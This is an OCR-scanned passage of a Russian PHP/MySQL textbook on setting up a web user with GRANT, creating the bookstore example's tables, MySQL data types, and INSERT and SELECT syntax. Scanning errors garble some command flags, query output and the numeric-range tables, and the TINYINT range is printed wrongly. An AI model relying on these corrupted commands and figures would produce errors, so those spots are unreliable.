Установка пользователя для доступа из Интернета Чтобы PHP-сценарии могли подключаться к MySQL, потребуется настроить соот- ветствующего пользователя. В этом случае также можно применить принцип мини- мально необходимых полномочий. При этом следует задаться вопросом: “Какие дей- ствия должны иметь право выполнять сценарии?” В большинстве случаев сценариям понадобится проводить над строками таблиц только операции SELECT, INSERT, DELETE и UPDATE. Можно поступить следующим об- разом: mysql> grant select, insert, delete, update -> on books. * -> to bookorama identified by ,bookoramal23' ; Понятно, что для большей безопасности следует выбрать более надежный пароль. Если вы пользуетесь службой веб-хостинга, то, скорее всего, вам будут предостав- лены другие полномочия для созданной для вас базы данных. Как правило, вам будут присвоены одни и те же имя_пользователя и пароль для работы из командной стро- ки (создание таблиц и т.д.) и для подключения к MySQL из веб-сценариев (запросы к базе данных). Это катастрофически снижает безопасность. Пользователя с таким уровнем полномочий можно установить следующим образом: mysql> grant select, insert, update, delete, index, alter, create, drop -> on books.* -> to bookorama identified by 'bookoramal23'; Теперь можно приступить к настройке второго пользователя, который понадобит- ся в следующем разделе. Покинуть монитор MySQL можно с помощью команды quit. После этого имеет смысл войти в систему в качестве веб-пользователя и убедиться, что все работает должным образом. Если выданный ранее оператор GRANT выполнился, но доступ ока- зывается невозможным, это значит, что вы не удалили анонимных пользователей во время инсталляции MySQL. Войдите в систему вновь как root и удалите учетные за- писи анонимных пользователей в соответствии с инструкциями, предоставленными в приложении А. После этого вход в систему веб-пользователя станет возможным. Использование требуемой базы данных Если вы дошли до этой стадии, то должны находиться в системе под учетной за- писью MySQL уровня пользователя и быть готовыми к тестированию примера кода независимо от того, кто его установил — вы или администратор веб-сервера. После входа в MySQL сначала потребуется указать базу данных, с которой вы со- бираетесь работать. Это можно сделать следующим Образом: mysql> use имя_базы; где имя_базы — имя соответствующей базы данных. Можно и не вводить команду use, но тогда база данных должна быть указана во время входа в систему: mysql -D имя_базы -h имя_хоста -и имя__пользователя -р Глава 9. Создание базы данных для веб-приложений 233
В этом примере мы будем работать с базой данных books: mysql> use books; После ввода этой команды MySQL должен вывести следующую строку: Database changed База данных изменена Если перед началом работы база данных не была выбрана, MySQL выведет сооб- щение об ошибке: ERROR 1046 (3D000) : No Database Selected ОШИБКА 1046 (3D000) : He выбрана база данных Создание таблиц баз данных Следующий этап настройки базы данных связан с созданием таблиц. Это делается с помощью SQL-команды CREATE TABLE. Общая форма оператора CREATE TABLE вы- глядит следующим образом: CREATE TABLE имя__таблицы( столбцы) На заметку! Возможно, вы уже знаете, что MySQL предлагает несколько различных типов таблиц и механиз- мов хранения данных, в том числе и некоторые типы, обеспечивающие безопасность транзак- ций. Типы таблиц будут рассмотрены в главе 13. А пока все таблицы в нашей базе данных будут использовать стандартный механизм хранения MylSAM. Заполнитель имя_ та блицы необходимо заменить именем конкретной таблицы, которую требуется создать, а столбцы — разделяемым запятыми списком столбцов в таблице. Каждый столбец должен иметь имя, за которым следует тип данных. Снова вспомним схему базы данных “Буквофил”: Customers(CustomerlD, Name, Address, City) Orders(OrderlD, CustomerlD, Amount, Date) Books(ISBN, Author, Title, Price) Order Items(OrderlD, ISBN, Quantity) Book Reviews(ISBN, Reviews) В листинге 9.1 показан SQL-код для создания этих таблиц, при этом подразу- мевается, что база данных books уже существует. Этот код можно найти в файле chapterO9/bookorama. sql загружаемого кода. Существующий SQL-файл в MySQL можно выполнить следующим образом: > mysql -h хост -u bookorama -D books -р < bookorama. sql (Не забудьте заменить заполнитель хост именем используемого хоста.) В данном случае удобно использовать перенаправление, поскольку перед выполне- нием SQL-код можно отредактировать в любом текстовом редакторе. Листинг 9.1. bookorama. sql — SQL-код создания таблиц для приложения “Буквофил” create table customers ( customerid int unsigned not null auto_increment primary key, name char(50) not null, address char(100) not null, city char(30) not null ); 234 Часть II. Использование MySQL
create table orders ( orderid int unsigned not null auto_increment primary key, customerid int unsigned not null, amount float(6,2),. date date not null ); create table books ( isbn char (13) not null primary key, author char(50), title char(100), price float(4,2) ); create table order_items ( orderid int unsigned not null, isbn char (13) not null, quantity tinyint unsigned, primary key (orderid, isbn) ); create table book_reviews ( isbn char (13) not null primary key, review text ); Каждая таблица создается с помощью отдельного оператора CREATE TABLE. Как ви- дите, создаются все таблицы из схемы, со столбцами, спроектированными в предыду- щей главе. Определение каждого столбца содержит его имя, за которым следует тип данных. В определениях некоторых столбцов присутствуют и другие спецификаторы. Значения других ключевых слов NOT NULL означает, что все строки таблицы должны иметь значение в этом атрибу- те. Если ключевое слово NOT NULL не указано, поле может быть пустым (NULL). AUTO INCREMENT — это специальная возможность MySQL, которую можно исполь- зовать применительно к числовым столбцам. Если при вставке строк в таблицу ос- тавить это поле пустым, MySQL автоматически сгенерирует значение уникального идентификатора. Это значение будет на единицу больше максимального значения, уже существующего в столбце. Каждая таблица может содержать не более одного та- кого поля. Столбцы, для которых указано ключевое слово AUTO INCREMENT, должны быть проиндексированы. Ключевые слова PRIMARY KEY, следующие за именем столбца, указывают, что этот столбец является первичным ключом таблицы. Записи в этом столбце должны быть уникальными. MySQL будет автоматически индексировать этот столбец. Столбец customer id в таблице customers имеет атрибут AUTO_ INCREMENT. Автоматический индекс по первичному ключу обеспечивает индексирование, требуемое атрибутом AUTO_INCREMENT. Указывать PRIMARY KEY после названия столбца можно лишь тогда, когда мы име- ем дело с первичным ключом в виде одиночного столбца. Альтернативный вари- ант— конструкция PRIMARY KEY в конце оператора создания таблицы orderitems. Глава 9. Создание базы данных для веб-приложений 235
В данном случае эта форма была использована потому, что первичный ключ состоит из двух столбцов. (Это также создает индекс по объединению двух столбцов.) Ключевое слово UNSIGNED, заданное после целочисленного типа, означает, что соответствующее значение может быть только нулевым или положительным (т.е. без- знаковым). Что означают типы столбцов В качестве примера рассмотрим первую таблицу: create table customers ( customerid int unsigned not null auto_increment primary key, name char(50) not null, address char(100) not null, city char(30) not null ); При создании любой таблицы необходимо принимать решения в отношении ти- пов столбцов. В соответствии со схемой таблица customers содержит четыре столбца. Первый, customerid, — это первичный ключ, который определен непосредственно. Согласно нашему решению, он будет представляться целым числом (тип данных int), причем эти идентификаторы должны быть беззнаковыми (unsigned). Кроме того, мы восполь- зовались атрибутом auto increment, поэтому MySQL позаботится о присвоении уни- кальных идентификаторов — а нам одной заботой меньше. Все остальные столбцы будут содержать данные строкового типа. Для них выбран тип char. Он определяет поля фиксированной ширины. Ширина указывается в скоб- ках, поэтому, например, имя (поле name) может содержать до 50 символов. Этот тип данных всегда будет выделять для хранения имен память длиной 50 сим- волов, даже если в действительности имена будут короче. MySQL будет дополнять данные соответствующим количеством пробелов. Альтернативным типом данных яв- ляется varchar, который использует только необходимый объем памяти (плюс один байт). Здесь приходится идти на небольшой компромисс — varchar занимает меньше памяти, зато char работает быстрее. Обратите внимание, что все столбцы объявлены как NOT NULL. Это минимальная оптимизация, которая слегка ускоряет работу базы данных. Более подробно вопросы оптимизации рассматриваются в главе 12. Некоторые операторы CREATE отличаются по синтаксису. Взгляните на таблицу orders: create table orders ( orderid int unsigned not null auto__increment primary key, customerid int unsigned not null, amount float(6,2), date date not null ); Значения столбца amount определены как числа с плавающей точкой (тип float). Для большинства типов данных с плавающей точкой можно определить ширину ото- бражения данных и количество десятичных разрядов. В данном случае сумма заказа будет выражаться в долларах, поэтому выбрана сравнительно большая ширина отобра- жения итоговой суммы (6) и два десятичных разряда для представления центов. Столбец date имеет тип данных date. 236 Часть II. Использование MySQL
В данной таблице указано, что все столбцы, кроме столбца amount, должны быть NOT NULL. Почему? Когда в базу данных вносится заказ, его необходимо сохранить в таблице orders, добавить элементы в таблицу order iterns и только затем подсчи- тать сумму заказа. На этапе создания заказа сумма заказа не известна, поэтому она может иметь значение NULL. Таблица books обладает похожими характеристиками: create table books ( isbn char(13) not null primary key, author char(50), title char(100), price float (4,2) ); В этом случае не требуется генерировать первичный ключ, потому что номе- ра ISBN определяются в другом месте. Остальные поля оставлены NULL, поскольку книжный магазин может получить сначала только ISBN, а уже потом название книги, авторов и цену. Таблица order items служит примером применения первичных ключей по не- скольким столбцам: create table order_items ( orderid int unsigned not null, isbn char(13) not null, quantity tinyint unsigned, primary key (orderid, isbn) ); Тип данных количества экземпляров конкретной книги определен как TINYINT UNSIGNED; он может принимать целочисленные значения от 0 до 255. Как упоминалось ранее, первичные ключи по нескольким столбцам должны оп- ределяться с помощью специальной инструкции, что как раз используется в данном случае. И, наконец, рассмотрим таблицу book_reviews: create table book_reviews ( isbn char (13) not null primary key, review text ); В этой таблице используется новый тип данных, о котором мы еще не говорили. Он предназначен для объемных текстов, например, статей. Существует несколько ва- риантов данного типа, и они рассматриваются далее в этой главе. Чтобы лучше разобраться в создании таблиц, стоит начать с имен столбцов и идентификаторов в целом, а потом уже перейти к типам данных. Для начала взгля- нем на созданную нами базу данных. Просмотр базы данных с помощью команд SHOW И DESCRIBE Войдите в монитор MySQL и начните работу с базой данных books. Таблицы в базе можно просмотреть следующим образом: mysql> show tables; Глава 9. Создание базы данных для веб-приложений 237
MySQL отобразит список таблиц базы данных: +-----------------+ I Tables in books | book_reviews | books | customers | order_items | orders | 5 rows in set (Ol06 sec) 5 строк в наборе (0.06 с) Команду show можно применять и для просмотра списка баз данных: mysql> show databases; Если у вас нет полномочия SHOW DATABASES, вы будете видеть только базы дан- ных, которые имеете право просматривать. Команда DESCRIBE дает возможность увидеть дополнительную информацию по конкретной таблице, например, books: mysql> describe books; MySQL выведет информацию, которая была введена во время создания базы данных: Field 1 Type | Null | Key | Default | Extra isbn | char(13) 1 1 PRI 1 1 author | char(50) I YES | | NULL | title | char(100) | YES | | NULL | price | float(4,2) | YES | | NULL | 4 rows in set (0.00 sec) +---------+------------+------+-----+--------------+--------------4 I Поле | Тип | Null | Ключ\ По умолчанию | Дополнительно | +---------+------------+------+-----+--------------+--------------+ Эти команды полезны, если требуется вспомнить, какие типы столбцов использу- ются, либо если приходится работать с базой данных, которая была создана кем-то другим. Создание индексов Мы уже кратко упоминали об индексах, поскольку при назначении первичных ключей создаются индексы по соответствующим столбцам. Новички в MySQL часто жалуются на низкую производительность, в то время как источники утверждают, наоборот, об исключительно высокой производительности MySQL. Проблема, связанная с низкой производительностью, возникает из-за того, что новички попросту забывают о создании индексов в своих базах данных. (В MySQL допускается создавать таблицы без первичных ключей либо индексов.) 238 Часть II. Использование MySQL
Для начала вполне годятся индексы, которые создаются автоматически. Если ока- зывается, что вы выполняете множество запросов по столбцу, который не является ключевым, то можно создать по нему индекс и тем самым увеличить производитель- ность. Индекс создается с помощью оператора CREATE INDEX. Общий синтаксис это- го операторы выгладит следующим образом: CREATE [UNIQUE|FULLTEXT] INDEX имя_индекса ON имя_таблицы (имя_столбца_индекса [(длина)] [ASCIDESC], ...]) (Индексы типа FULLTEXT используются для текстрвых полей; мы рассмотрим их в гла- ве 13.) Необязательное поле длина позволяет указать, что индексироваться должны толь- ко первые длина символов столбца. Можно также выбрать, как должна выполняться индексация: по возрастанию (ASC) или по убыванию (DESC); по умолчанию принима- ется ASC. Идентификаторы в MySQL В MySQL используются пять видов идентификаторов — базы данных, таблицы, столбцы, индексы (с ними вы уже знакомы) и псевдонимы (о них мы поговорим в следующей главе). Базы данных в MySQL соответствует каталогам базовой файловой .структуры, а таблицы — файлам. Это соответствие напрямую влияет на присваиваемые им имена, а также на зависимость этих имен от регистра букв — если в установленной операци- онной системе (ОС) имена файлов и каталогов зависят от регистра, то и имена баз данных и таблиц также будут от него зависеть (как, например, в UNIX), в противном случае — нет (например, в Windows). Имена столбцов и псевдонимы не зависят от регистра, однако в одном и том же SQL-операторе нельзя применять и строчные, и прописные символы. К слову, расположение каталогов и файлов, содержащих данные, будет таким, ка- ким оно установлено в конфигурации. Проверить их расположение можно с помо- щью утилиты mysqladmin: mysqladmin -h хост -u root -p variables В полученном выводе найдите переменную datadir. Краткий список возможных идентификаторов приведен в табл. 9.4. Единственное дополнительное ограничение состоит в невозможности использования в идентифи- каторах символов ASCII(O), ASCII(255) или символа кавычки (откровенно говоря, трудно предположить, для чего они могли бы пригодиться). Таблица 9.4. Идентификаторы MySQL Тип Макс, длина Чувствительность к регистру Допустимые символы База данных 64 также, как в ОС Все символы, допустимые в именах каталогов ОС, за исключением символа/, \ и . (точка) Таблица 64 также, как в ОС Все символы, допустимые в именах файлов ОС, за исключением символов / и . (точка) Столбец 64 нет Все Индекс 64 нет Все Псевдоним 255 нет Все Глава 9. Создание базы данных для веб-приложений 239
Так что правила предельно свободны. В качестве идентификаторов можно даже использовать зарезервированные слова и специальные символы всех видов. Единст- венное ограничение — если вы все же применяете всякого рода странности, то их не- обходимо заключать в обратные кавычки (на большинстве клавиатур они находятся на клавише с тильдой (~) в верхнем левом углу). Например: create database 'create database'; Однако какой бы ни была свобода действий, не стоит забывать о здравом смысле. То, что базу данных можно назвать 4 create database', вовсе не означает, что так следует поступать. Здесь, как и в любой другой области программирования, должен применяться один принцип — идентификаторы должны быть как можно более ос- мысленными. Типы данных столбцов В MySQL определены три базовых типа столбцов: числовой, дата и время, а также строковый. Каждая из этих категорий подразделяется на множество типов. В этой главе мы рассмотрим их лишь бегло, а со всеми их преимуществами и недостатками подробно ознакомимся в главе 12. Каждый из упомянутых выше трех типов требует использования различного объе- ма памяти. При выборе типа столбца главное — выбрать тип, требующий наименьше- го объема памяти, в котором все же помещаются данные. Для многих типов данных при создании столбца выбранного типа можно задавать максимальную выводимую длину. В приведенных ниже таблицах типрв данных этот параметр обозначается как М. Если для данного типа он не обязателен, он заключен в квадратные скобки. Максимальное значение М составляет 255. Необязательные значения во всех описаниях заключены в квадратные скобки. Числовые типы Числовые типы представляют либо целые числа, либо числа с плавающей точкой. Для чисел с плавающей точкой можно указывать количество цифр после десятичной точки. В нашей книге этот параметр обозначен как D. Максимальное значение, кото- рое можно выбрать для D, составляет 30 или М - 2 (т.е. максимальная ширина отобра- жения минус два — один символ для вывода десятичной точки и второй для целой части числа), в зависимости от того, какое значение окажется меньшим. Целочисленный тип может также быть определен как UNSIGNED, как показано в листинге 9.1. Всем числовым типам можно присвоить атрибут ZEROFILL. Такие значения будут отображаться на экране с ведущими нулями. При наличии этого атрибута поле авто- матически становится еще и UNSIGNED. Целочисленные типы перечислены в табл. 9.5. Обратите внимание, что диапазо- ны для чисел со знаком приводятся в одной строке, а чисел без знака — во второй. Типы данных с плавающей запятой перечислены в табл. 9.6. 240 Часть II. Использование MySQL
Таблица 9.5. Целочисленные типы данных Тип Диапазон Память (байт) Описание TINYINT[(М) ] -127..128или0..255 1 Очень маленькие целые числа BIT 1 СИНОНИМ TINYINT BOOL 1 Синоним TINYINT SMALLINT[ (М) ] -32768..32767 или 0..65535 2 Маленькие целые числа MEDIUMINT [ (М) ] -8388608..8388607 или 0.. 16777215 3 Целые числа средней величины INT [ (М) ] П31 о31 ч п п32 ч -2 ..2 -1 или0..2 - 1 4 Обычные целые числа INTEGER[(М) ] Синоним INT BIGINT[(М) ] О63 О63 . л п64 ч -2 ..2 - 1 или0..2 -1 8 Большие целые числа Таблица 9.6. Типы данных с плавающей запятой Тип Диапазон Память (байт) Описание FLOAT(точность) зависит от точности различна Может использоваться для оп- ределения чисел с плавающей точкой одинарной или двойной точности. FLOAT [ (М, D) ] +1.175494351Е-38 +3.402823466Е+38 4 Числа с плавающей точкой одинарной точности. Эквива- лентно FLOAT(4),но ТОЛЬКО С указанной шириной отображе- ния и количеством десятичных разрядов. DOUBLE [ (М, D) ] ±1.7976931348623157Е+308 +2.2250738585072014Е-308 8 Числа с плавающей точкой двойной точности. Эквива- лентно FLOAT (8), но ТОЛЬКО С указанной шириной отображе- ния и количеством десятичных разрядов. DOUBLE PRECISION [ (M,D) ] ±1.7976931348623157Е+308 +2.2250738585072014Е-308 8 Синоним DOUBLE [ (М, D) ]. REAL [ (M, D) ] +1.7976931348623157Е+308 +2.2250738585072014Е-308 8 СИНОНИМ DOUBLE [ (М, D) ]. DECIMAL [ (M[,D] ) ] различный м + 2 Число с плавающей точкой, хра- нимое как char. Диапазон зави- сит от ширины отображения м. NUMERIC [ (M, D) ] различный м + 2 Синоним DECIMAL. DEC [ (M, D) ] различный м + 2 СИНОНИМ DECIMAL. FIXED [ (M,D) ] различный м + 2 СИНОНИМ DECIMAL. Глава 9. Создание базы данных для веб-приложений 241
Типы даты и времени MySQL поддерживает несколько типов даты и времени, которые приведены в табл. 9.7. Эти типы позволяют вводить данные либо в строковом, либо в числовом фор- мате. Особо отметим, что если в поле типа TIMESTAMP не занесено какое-либо значение вручную, в него заносится дата и время последней операции, выполненной над данной строкой. Это свойство весьма полезно при записи информации о транзакциях. Таблица 9.7. Типы данных даты и времени Тип Диапазон Описание DATE от 1000-01-01 до 9999-12-31 Дата. Отображается в виде гггг-мм-дд. TIME от -838:59:59 до 838:59:59 Время. Отображается в виде чч :ММ: сс. Легко заметить, что диапазон намного шире, чем может когда-либо пригодиться. DATETIME от 1000-01-01 00:00:00 до9999-12-31 23:59:59 Дата и время. Отображается в виде ГГГГ-ММ-ДД ЧЧ:ММ:СС. TIMESTAMP[(M) ] от 1970-01-01 00:00:00 до какого-то момента в 2037 году Метка времени, полезная для отслеживания транзакций. Формат отображения зависит от значения м(см. табл. 9.8). Верхнее значение диапазона зависит от ограничений UNIX. YEAR[(2|4)] 70-69(1970-2069) 1901-2155 Год. Может быть указан в двух- или четырех- символьном формате. Для каждого из них, как показано, определен свой диапазон. В табл. 9.8 приведены различные возможные типы вывода для формата timestamp. Таблица 9.8. Типы отображения для формата timestamp Тип Формат отображения TIMESTAMP ггггммддччммсс TIMESTAMP(14) ггггммддччммсс TIMESTAMP(12) ггммддччммсс TIMESTAMP(10) ггммддччмм TIMESTAMP(8) ггггммдд TIMESTAMP(6) ггммдд TIMESTAMP(4) ггмм TIMESTAMP(2) гг Строковые типы Строковые типы подразделяются на три группы. Первая группа — простые “ста- рые добрые” строки, которые представляют собой короткие фрагменты текста. Это типы CHAR (символы фиксированной длины) и VARCHAR (символы переменной дли- ны). В каждом типе можно указать ширину поля. Столбцы с типом CHAR будут допол- няться пробелами до максимальной ширины, независимо от размеров данных, в то 242 Часть II. Использование MySQL
время как в столбцах с типом VARCHAR ширина зависит от размеров данных. (Следует отметить, что MySQL усекает пробелы в конце текстовых строк типа CHAR во время извлечения и в конце строк типа VARCHAR во время сохранения.) При работе с этими типами приходится искать компромисс между занимаемым объемом памяти и скоро- стью обработки. Подробнее этот вопрос будет рассмотрен в главе 12. Вторая группа — это типы TEXT и BLOB. Их размеры могут быть разными. Первый тип данных предназначен для более длинных текстовых фрагментов, второй — для бинарных данных. BLOB означает binary large object (большой двоичный объект) и мо- жет содержать любые данные — например, изображения или аудиозаписи. На практике столбцы TEXT и BLOB идентичны, за исключением того, что данные типа TEXT чувствительны к регистру букв, a BLOB — нет. Поскольку столбцы этих ти- пов могут хранить большие объемы данных, их применение требует более детально- го анализа, но об этом речь пойдет в главе 12. К третьей группе принадлежат два специальных типа SET и ENUM. Тип SET исполь- зуется для указания того, что значения в данном столбце принадлежат конкретному набору фиксированных значений. Столбец может содержать несколько значений из набора. Фиксированный набор может содержать до 64 элементов. Тип ENUM представляет перечисление. Этот тип весьма схож с SET, за исключе- нием того, что столбцы этого типа могут содержать лишь одно из фиксированных значений или значение NULL, а максимальное количество элементов в перечислении составляет 65 535. Краткие описания строковых типов данных можно найти в табл. 9.9, 9.10 и 9.11. В табл. 9.9 приведено описание простых строковых типов. Таблица 9.9. Обычные строковые типы Тип Диапазон Описание [NATIONAL] CHAR(M) [BINARY | ASCII | UNICODE] от Одо 255 символов Строки фиксированной длины м, где ^находится между 0 и 255. Ключевое слово national указы- вает на то, что должен использоваться набор сим- волов, установленный по умолчанию. В MySQL так и есть по умолчанию, но на это стоит обратить внимание, поскольку данное соглашение — часть стандарта ANSI SQL. Ключевое слово binary указывает, что данные должны рассматриваться как зависящие от регистра. (По умолчанию дан- ные зависят от регистра.) Ключевое слово ascii указывает, что для данного столбца будет исполь- зоваться набор символов latin 1, а ключевое слово UNICODE — набор СИМВОЛОВ UCS. CHAR 1 Синоним CHAR(l) [NATIONAL] [BINARY] VARCHAR (M) от Одо 255 символов То же самое, за исключением того, что данные типа varchar могут иметь произвольную длину. В табл. 9.10 описаны типы TEXT и BLOB. Максимальная длина поля TEXT в симво- лах равна максимальному размеру в байтах файла, который может храниться в этом поле. Глава 9. Создание базы данных для веб-приложений 243
Таблица 9.10. Типы text и blob Тип Максимальная длина (в символах) Описание TINYBLOB 2е-1(255) Маленькое поле blob TINYTEXT 28 -1 (255) Маленькое поле text BLOB 216-1(65535) Нормальное поле blob TEXT 216-1(65535) Нормальное поле text MEDIUMBLOB 224-1 (16777215) Среднее поле blob MEDIUMTEXT 224-1 (16777 215) Среднее поле text LONGBLOB 2^-1 (4294967295) Большое поле blob LONGTEXT 232-1(4 294 967 295) Большое поле text В табл. 9.11 содержится описание типов ENUM и SET. Таблица 9.11. Типы ENUM и SET Тип Максимальное количество значений в наборе Описание ENUM (’ значение! ’, ’значение2', ...) 65 535 Столбцы этого типа могут содержать только одно из перечисленных значений либо NULL. SET('значение!’, ’значение2', . ..) 64 Столбцы этого типа могут содержать на- бор указанных значений либо null. Дополнительные источники информации Дополнительные сведения о настройке баз данных можно найти в онлайновом руководстве по MySQL, которое доступно на сайте http: //www.mysql.сот/. Что дальше Теперь, когда вы научились создавать пользователей, базы данных и таблицы, на- конец-то можно сосредоточить основное внимание на взаимодействии с базой дан- ных. В следующей главе мы рассмотрим, как вносить данные в таблицы, обновлять и удалять их, а также как отправлять запросы к базе данных. 244 Часть II. Использование MySQL
10 Работа с базой данных MySQL В этой главе мы рассмотрим язык структурированных запросов SQL (Structured Query Language) и его применение для выполнения запросов к базам данных. На примере базы данных приложения “Буквофил” мы покажем, как вставлять, уда- лять и обновлять данные, и как отправлять запросы в базу данных. В главе рассматриваются следующие темы. Что такое SQL? Вставка данных в базу данных. Извлечение данных из базы данных. Соединение таблиц. Использование подзапросов. Обновление записей в базе данных. Изменение таблиц после создания. Удаление записей из базы данных. Удаление таблиц. Мы начнем с рассмотрения того, что собой представляет и чем полезен язык SQL. Если база данных приложения “Буквофил” еще не установлена, это придет- ся сделать, чтобы выполнять SQL-запросы, рассматриваемые в настоящей главе. Инструкции по установке можно найти в главе 9. (В дальнейшем, для краткости, мы будем употреблять просто БД “Буквофил”, имея в виду под этим базу данных, лежа- щую в основе приложения “Буквофил”.) Что такое SQL? SQL — это аббревиатура от Structured Query Language (язык структурированных за- просов). Он является стандартным языком для доступа к системам управления реляци- онными базами данных (СУРБД, relational database management system — RDBMS). SQL используется для сохранения данных в базе данных и последующего их извлечения из нее. Его применяют в таких системах баз данных, как MySQL, Oracle, PostgreSQL, Sybase, Microsoft SQL Server и множестве других. Глава 10. Работа с базой данных MySQL 245
Для SQL существует стандарт ANSI, и в основном системы, подобные MySQL, раз- работаны с таким расчетом, чтобы обеспечить реализацию этого стандарта. Сущест- вует ряд незначительных различий между стандартным языком SQL и SQL системы MySQL. Некоторые из различий планируется устранить в последующих версиях MySQL, другие же введены умышленно. По мере изложения материала мы укажем наиболее значительные различия. Полный перечень различий между ANSI SQL и SQL любой версии MySQL можно найти в онлайновом руководстве по MySQL, которое дос- тупно по адресу http://dev.mysql.com/doc/refman/5.1/en/compatibility.html, а также во множестве других источников. Наверняка вам уже доводилось слышать о языке определения данных (Data Definition Language — DDL), который используется для определения баз данных, и о языке ма- нипулирования данными (Data Manipulation Language — DML), применяемом для выда- чи запросов к базам данных. SQL предоставляет основные функции обоих языков. В главе 9 мы рассмотрели определение данных (функция, относящаяся к DDL) в SQL, поэтому вы уже немного знакомы с применением DDL. Язык DDL используется при первоначальной установке базы данных. Функции DML применяются в SQL намного чаще, поскольку именно таким обра- зом реальные данные сохраняются в базах данных и извлекаются из них. Вставка в базу данных Прежде чем приступить к серьезной работе с базой данных, в ней необходимо сохранить какие-нибудь данные. Чаще всего для этого применяется SQL-оператор INSERT. Вспомните, что СУРБД содержат таблицы, которые, в свою очередь, содержат строки данных, организованные по столбцам. Как правило, каждая строка в табли- це описывает какой-то реальный объект или отношение, а значения столбцов в этой строке хранят информацию о реальном объекте. Оператор INSERT можно использо- вать для внесения строк с данными в базу данных. Типичная форма оператора INSERT выглядит следующим образом: INSERT [INTO] таблица [ (столбец!, столбец2г столбецЗ, ...)] VALUES (значение!, значение2, значениеЗ, . . .) ; Например, чтобы вставить запись в таблицу клиентов (customers) БД “Буквофил”, можно ввести команду: insert into customers values (NULL, "Саша Валентей", "12, ул. Гудвина", "г. Изумрудный"); Как видите, мы заменили таблица реальным именем таблицы, в которую требует- ся внести данные, а значение 1, значение2, значениеЗ и т.д. — конкретными значе- ниями. В данном примере значения заключены в двойные кавычки. В MySQL строки всегда должны заключаться в пару одинарных или двойных кавычек. (В этой книге встречаются оба варианта.) Числа и даты в кавычках не нуждаются. С оператором INSERT связано несколько интересных моментов. Указанные значе- ния будут использоваться для заполнения столбцов таблицы по порядку. Если необхо- димо заполнить только отдельные столбцы, или если желательно указать их в ином порядке, то в ту часть оператора, которая относится к столбцам, можно поместить список конкретных столбцов. Например: 246 Часть II. Использование MySQL
insert into customers (name, city) values ("Дед Мороз", "На Далеком Диком Севере"); Такой подход полезен при наличии лишь частичной информации о конкретной записи или если несколько полей записи являются необязательными. Аналогичный результат можно получить, прибегнув к следующему синтаксису: insert into customers set пате="Шерлок Холмс", address="2216, Бейкер-стрит", city="Лондон"; Вы могли обратить внимание, что при добавлении клиентки Саша Валентей для столбца customerid было указано нулевое (NULL) значение, а при добавлении дру- гих клиентов этот столбец просто игнорировался. Если помните, при создании базы данных столбец customerid был создан как первичный ключ таблицы customers. Поэтому такой подход может показаться странным. Однако это поле было определе- но как AUTO INCREMENT. Это означает, что при вставке в это поле строки со значени- ем NULL или без значения MySQL автоматически сгенерирует следующее по порядку число и вставит его. Это довольно полезное свойство. В таблицу можно также вставлять несколько строк сразу. Каждая строка должна быть заключена в отдельные скобки, разделенные запятыми. Для оператора INSERT возможно лишь несколько модификаций. .После слова INSERT можно указать LOW_PRIORITY или DELAYED. Ключевое слово LOW_PRIORITY оз- начает, что система может подождать и выполнить вставку позже, когда данные не будут читаться из таблицы. Ключевое слово DELAYED указывает, что вставляемые данные будут буферизироваться. Если сервер занят, вы сможете продолжать выпол- нять запросы, а не ожидать завершения операции INSERT. Непосредственно после LOW PRIORITY или DELAYED можно указать необязатель- ное ключевое слово IGNORE, которое означает, что при попытке вставки строк, кото- рые вызывают дублирование уникальных ключей, эти строки просто игнорируются. Другой вариант поведения в такой ситуации состоит в том, чтобы поместить в конце оператора INSERT конструкцию ON DUPLICATE KEY UPDATE выражение. Это может использоваться для изменения дублированного значения с помощью обычного опера- тора UPDATE (который рассматривается далее в главе). Чтобы сказанное стало понятнее, заполним базу данных рядом простых примеров данных. Используемый для этого код представляет собой всего последовательность простых операторов INSERT, в которых применяется описанный выше подход вставки нескольких строк. Сценарий, выполняющий эти операции, приведен в листинге 10.1. Кроме того, его можно найти в файле \chapter 10\book_insert. sql загружаемого кода. Листинг 10.1. book insert. sql — SQL-код для заполнения данными таблиц БД “Буквофил” use books; insert into customers values (3, "Саша Валентей", "12, ул. Гудвина", "г. Изумрудный"), (4, "Ева Легкая", "34, пр. Незнайки", "г. Солнечный"), (5, "Слава Моргунов", "56, пер. Поттера", "пгт Хогвартс"); insert into orders values (NULL, 5, 69.98, "2008-04-02"), (NULL, 3, 49.99, "2008-04-15"), (NULL, 4, 74.98, "2008-04-19"), (NULL, 5, 24.99, "2008-05-01"); Глава 10. Работа с базой данных MySQL 247
insert into books values ('’5-8459-0046-8", "Майкл Морган", "Java 2. Руководство разработчика", 34.99), ("5-8459-1082-Х", "Кристофер Негус", "Linux. Библия пользователя", 24.99), ("5-8459-1134-6", "Марина Смолина", "CorelDRAW ХЗ. Самоучитель", 24.99), ("5-8459-0426-9", "Родерик Смит", "Сетевые средства Linux", 49.99); insert into order_items values (1, "5-8459-0046-8", 2), (2, "5-8459-0426-9", 1), (3, "5-8459-0426-9", 1), (3, "5-8459-.1134-6", 1), (4, "5-8459-1082-X", 3) ; insert into book_reviews values ("5-8459-0046-8", "Книга Моргана написана исключительно понятно и может считаться одной из лучших базовых книг по Java."); Сценарий можно выполнить, запустив его через MySQL следующим образом: > mysql -h хост -u bookorama -р books < / путь/x/book__inser t. sql Извлечение из базы данных Оператор SELECT является в MySQL настоящей “рабочей лошадкой”. Он извлека- ет данные из базы данных, выбирая из таблицы строки, которые отвечают заданно- му критерию поиска. Существует множество параметров и вариантов использования оператора SELECT. Основная его форма выглядит следующим образом: SELECT [параметры] элементы [ INTO инф__файла ] FROM таблицы [ WHERE условие ] [ GROUP BY тип_группировки ] [ HAVING определение_кЬеге ] [ ORDER BY’ тип_упорядочения ] [ LIMIT критерий_ограничения ] [ PROCEDURE имя_процедуры( аргументы) ] [ параметры_блокировки ] Все конструкции будут описаны в последующих разделах. Однако вначале рассмот- рим запрос без каких-либо дополнительных конструкций, когда требуется просто вы- брать определенные элементы из конкретной таблицы. Обычно такими элементами являются столбцы таблиц. (Кроме того, они могут быть результатами вычисления любых MySQL-выражений. Некоторые из наиболее полезных выражений рассматри- ваются далее в этой главе.) Следующий запрос выводит содержимое столбцов name и city таблицы customers: select name, city from customers; Если данные были введены из сценария в листинге 10.1 и остальных двух приме- ров операторов INSERT, результат запроса будет следующим: 248 Часть II. Использование MySQL
